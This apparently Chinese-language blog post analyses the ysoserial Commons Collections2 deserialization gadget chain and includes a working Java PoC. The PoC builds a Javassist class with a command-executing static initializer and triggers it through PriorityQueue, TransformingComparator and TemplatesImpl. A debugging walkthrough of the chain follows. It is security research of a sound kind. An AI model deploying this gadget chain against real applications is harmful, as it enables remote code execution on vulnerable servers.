Ysoserial Commons Collections2分析

About Commons Collections2

CC2与CC1不同在于CC2用的是Commons Collections4.0;同时利用方式CC2用到了Javassist动态编程,从功能上来说CC1用于执行命令,而CC2可以任意代码执行危害更大,所以像常用的shiro打内存马也会用到CC2。

CC2 Gadget Chain

	Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

poc

public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); //获取默认类池
classPool.appendClassPath(AbstractTranslet); //末尾添加一个ClassPath
CtClass payload=classPool.makeClass("j"); //新创建一个类,类名为j
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置AbstractTranslet为该类父类
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //创建一个静态构造方法并将其内容设置为弹calc
byte[] bytes=payload.toBytecode(); //将该ctclass转为byte流
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); //反射创建TemplatesImpl对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); //反射获取属性值_bytecodes
field.setAccessible(true); //强制反射
field.set(templatesImpl,new byte[][]{bytes}); //重新设置_bytecodes的值为bytes也就是弹calc Field field1=templatesImpl.getClass().getDeclaredField("_name"); //反射获取属性_name
field1.setAccessible(true); //强制反射
field1.set(templatesImpl,"test"); //将_name属性赋值为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject(); }
}

前置知识

PriorityQueue

Queue是一个(FIFO)先进先出的队列,而PriorityQueue是一个根据元素优先级出队的队列类。

构造方法

PriorityQueue(int initialCapacity)
创建具有指定初始容量的PriorityQueue ,该容量根据其natural ordering对其元素进行排序 。

常用方法

boolean	add(E e)
将指定的元素插入此优先级队列。

Javassist

Javassist的默认类池搜索系统搜索路径,通常包括平台库、扩展库以及-classpath选项或CLASSPATH 环境变量指定的搜索路径 。

关于Javassist不会详细解读,没了解过Javassist的师傅也可以参考我这篇文章https://www.cnblogs.com/CoLo/p/15383642.html

Field

field.set(Object obj, Object value): 将指定对象变量上此 Field 对象表示的字段设置为指定的新值.

PoC分析

后面会把poc拆分成几部分依次过一下

首先看第一部分, 声明了两个string:AbstractTranslet,TemplatesImpl ;之后用到了javassist创建了一个类,类名为j,同时设置该类父类为AbstractTranslet并通过makeClassInitializer方法在该类中添加静态代码块,代码块内容为弹calc。

看到这里大概可以猜到后续应该会初始化该类从而触发在该类中写入的静态代码块内容去弹计算器(or 任意代码执行)。

抛出问题1: 为什么要设置父类为AbstractTranslet?

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); //获取默认类池
classPool.appendClassPath(AbstractTranslet); //append一个ClassPath,为后续设置父类作准备
CtClass payload=classPool.makeClass("j"); //新创建一个类,类名为j
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置AbstractTranslet为该类父类
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //创建一个静态代码块并将其内容设置为弹calc

这里可以添加一行代码payload.writeFile("./");将此class文件输出到当前目录看一下会比较清晰明了。

继续看第二部分。将新建的类转换为byte数组,通过反射创建TemplatesImpl实例化对象赋值给了templatesImpl,并通过反射拿到了该对象的_bytecodes并设置属性值为上面新建的类的byte数组。

抛出问题2:为什么要将上面我们新建好的类转为bytes数组再赋值给TemplatesImpl类的_bytecodes

之后依然是反射拿到_name属性并赋值test,看起来像是随意赋值,只要_name有值即可。

抛出问题3:为什么_name属性必须要有值?

byte[] bytes=payload.toBytecode();  //将该ctclass转为byte流
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); //反射创建TemplatesImpl对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); //反射获取属性值_bytecodes
field.setAccessible(true); //强制反射
field.set(templatesImpl,new byte[][]{bytes}); //重新设置_bytecodes的值为bytes也就是弹calc Field field1=templatesImpl.getClass().getDeclaredField("_name"); //反射获取属性_name
field1.setAccessible(true); //强制反射
field1.set(templatesImpl,"test"); //将_name属性赋值为test

首先切入问题2,在poc中readObject下断点跟到com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java中,看下TemplatesImpl的源码,其实打fj多的师傅应该比较熟悉TemplatesImpl,这也是打fj的payload会用到的点。

调用栈如下,最后是在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java#defineTransletClasses方法执行的代码

先只关注TemplatesImpl部分,首先newTransformer方法在执行new TransformerImpl时调用了getTransletInstance()

进入getTransletInstance(),由于_classnull,进入defineTransletClasses方法

到这里就很清晰了,通过ClassLoader#defineClass()加载_byrecides属性值的字节流数据创建恶意类并返回给_class数组,后续会对其进行实例化,所以这也是为什么要将上面我们新建好的类转为bytes数组再赋值给TemplatesImpl类的_bytecodes而不是选择其他类或其他属性。

而关于之前第一个问题为什么要设置父类为AbstractTranslet,因为要走到下面的if判断中给_transletIndex属性重新赋值,这个属性在TemplatesImpl中默认设置为-1,而重新设置值与后面的实例化触发静态代码块中代码执行有关

回到TemplatesImpl#getTransletInstance()将一开始创建的类通过(AbstractTranslet) _class[_transletIndex].newInstance()触发代码执行,而如果_transletIndex值为-1的话应该会抛下标越界就不能正常的实例化触发静态代码块中的代码执行了。这里注意第一个if,需要_name不为null才继续往下走,所以这也是问题3为什么_name属性要设置一个值。

所以后续找到如何调用的newTransformer方法即可。poc中给的是InvokerTransformer去反射调用newTransformer的执行,其流程大致为先获取InvokerTransformer对象之后将其作为TransformingComparator构造方法的参数来实例化一个TransformingComparator对象,后续创建了一个PriorityQueue添加了两个元素。

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

后续和之前一样的操作通过反射分别给comparatorqueue赋值,如下图

最后就是序列化queue对象写入test.out之后读取test.out再进行反序列化触发代码执行

抛出问题4:为什么要添加两个元素呢?

这里可以带着问题调试poc观察下

调试分析

还是在poc中readObject()处下断点,跟进到PriorityQueue#readObject(),跟进heapify()

这里是一个for循环,注意size就是我们前面设置的PriorityQueue的长度,这里做了无符号右移1位 再-1的操作。

放两张图感受下,所以这也是问题4为什么要添加两个元素的答案,如果只放一个就直接跳出for不再继续往下调用siftDown方法了

后续就比较简单了,进入siftDown方法后调用siftDownUsingComparator方法

siftDownUsingComparator方法中调用compare方法,其中x为我们弹计算器的恶意类

compare方法中调用InvokerTransformer#transform()方法

transform中反射调用com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl#newTransformer()

在其中调用了getTransletInstance()

先做了_name是否为null的判断,之后进入defineTransletClasses()方法。

在其中调用了ClassLoader#defaineClass()方法加载bytes数组生成恶意类

并判断该类父类是否为对_transletIndex重新赋值或到最后抛出异常

回到getTransletInstance()方法实例化我们的恶意类最终触发静态代码块中代码执行。

其实调试下来会发现poc的chain和yso中的不太一样,yso封装的太多,感觉不如直接调poc来的更易理解。不过yso还是要去深入理解的非常好的项目:D

PoC Chain:

ObjectInputStream.readObject()
PriorityQueue.readObject()
...
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()

End

一开始看这条链头大,有些没接触到的东西且cc1也是前一段时间分析的了,没有那么的熟悉所以看起来很吃力,还是需要多调试几次。其实对于每个细节都是有说法的,需要带着问题去调试会更容易理解。

Ysoserial Commons Collections2分析的更多相关文章

  1. Java安全之Commons Collections2分析

    Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...

  2. Ysoserial Commons Collections3分析

    Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

  3. Ysoserial Commons Collections7分析

    Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

  4. ysoserial Commons Collections2反序列化研究

    Apache Commons Collections2反序列化研究 环境准备 JDK 1.7 Commons Collections 4.0 javassit 前置知识 PriorityQueue() ...

  5. Commons Collections2分析

    0x01.POC分析 //创建一个CtClass对象的容器 ClassPool classPool=ClassPool.getDefault(); //添加AbstractTranslet的搜索路径 ...

  6. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  7. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

  8. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  9. Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...

随机推荐

  1. 地图控件:overview、scale、toolbar

    地图常用控件: 1.AMap.MapType:地图类型切换插件,用来切换固定的几个常用图层 2.AMap.OverView:地图鹰眼插件,默认在地图右下角显示缩略图 3.AMap.Scale:地图比例 ...

  2. Hystrix集群及监控turbine

    Hystrix集群及监控turbine 前面Dashboard演示的仅仅是单机服务监控,实际项目基本都是集群,所以这里集群监控用的是turbine. turbine是基于Dashboard的. 先搞个 ...

  3. WebService学习总结(二)--使用JDK开发WebService

    一.WebService的开发方法 使用java的WebService时可以使用一下两种开发手段 使用jdk开发(1.6及以上版本) 使用CXF框架开发(工作中) 二.使用JDK开发WebServic ...

  4. php-fpm进程数控制

    一.名词解释 CGI是Common Gateway Interface(通用网管协议),用于让交互程序和Web服务器通信的协议.负责处理URL的请求,启动一个进程,将客户端发送的数据作为输入,有Web ...

  5. CSS001. 纯CSS实现瀑布流(纵向排序)

    通过 Multi-columns 相关的属性 column-count.column-gap 配合 break-inside 来实现瀑布流布局. 首先对包裹图片的盒子增加样式,column-count ...

  6. 文件流转换(一般用于axios设置接收文件流设置时responseType: 'blob')

    文件流转换 一般用于axios设置接收文件流设置时responseType: 'blob'当接口报错时,前端因已设置responseType: 'blob'无法再接收json格式数据,会把json格式 ...

  7. tomcat服务字符编码改为UTF-8

    -Dfile.encoding=UTF-8 --仅供参考

  8. yield实现 coroutine协程案例

    yield可以手工实现协程,但python为我们封装了一个greenlet,先看看yield实现,yield需要手工操作,无法实现IO操作时自动切换协程,greenlet是封装好的,能方便使用io切换 ...

  9. [推荐]MyBatis 核心技术与面试 34 讲

    MyBatis 核心技术与面试 34 讲 职业生涯中常被问到: 如何成为某方面的高手? 如何快速搞定某项技术? 我现在的水平处于什么阶段? -- 我暗暗想,我们从小学到中学到大学,经历了大考三六九.小 ...

  10. 在 Docker 的 CentOS7 镜像 中安装 mysql

    在 Docker 的 CentOS7 镜像 中安装 mysql 本来以为是个很简单的过程居然折腾了这么久,之前部署云服务器时也没有好好地记录,因此记录下. 特别提醒:本文的操作环境是在 Docker ...